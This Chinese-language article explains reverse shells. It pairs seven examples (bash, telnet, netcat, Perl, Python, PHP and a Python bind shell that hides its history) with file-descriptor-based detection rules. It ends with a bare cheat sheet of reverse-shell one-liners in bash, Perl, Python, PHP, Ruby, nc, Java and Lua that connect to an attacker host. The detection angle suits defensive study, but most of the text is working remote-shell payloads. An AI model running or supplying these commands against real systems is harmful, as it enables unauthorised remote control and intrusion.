我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。
现在针对一些网络上反弹shell实例作说明:
- 反弹shell
现在针对一些网络上反弹shell实例作说明:
实例1,Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/192.168.7.61/7777 0>&1
目标机执行后的结果如下:
创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。
匹配规则:bash进程的0,和1文件描述符指向socket
实例2,telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。
匹配规则:bash进程的0,和1文件描述符指向pipe
实例3,nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 1234
被入侵的机器反弹shell命令如下:
nc -e /bin/sh 10.0.0.1 1234
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。
匹配规则:bash进程的0,和1文件描述符指向pipe
实例4,perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="192.168.7.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
目标机执行后的结果如下:
创建了dash进程,0和1描述符都指向了socket。
匹配规则:dash或者sh进程的0,和1文件描述符指向socket
实例5,Python反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
目标机执行后的结果如下:
创建了bash进程,0和1描述符都指向了socket。
匹配规则:bash的0,和1文件描述符指向socket
实例6,php反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
目标机执行后的结果如下:
创建了bash和dash进程,0和1描述符都指向了socket。
匹配规则:bash或dash进程的0,和1文件描述符指向socket
实例7,受害机主动监听:
被入侵监听端口:
#!/usr/bin/python2
"""
Python Bind TCP PTY Shell - testing version
infodox - insecurety.net (2013)
Binds a PTY to a TCP port on the host it is ran on.
"""
import os
import pty
import socket
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
黑客主机机器主动连接如下:
telnet 192.168.7.6 31337
目标机执行后的结果如下:
接受连接后:
进程python的0和1变成socket:
Bash进程3和4是socket。
匹配规则:python进程的0,和1文件描述符指向socket
总结
归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。
常用的执行环境如下:
Bash, dash, sh, python, php, perl等。
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"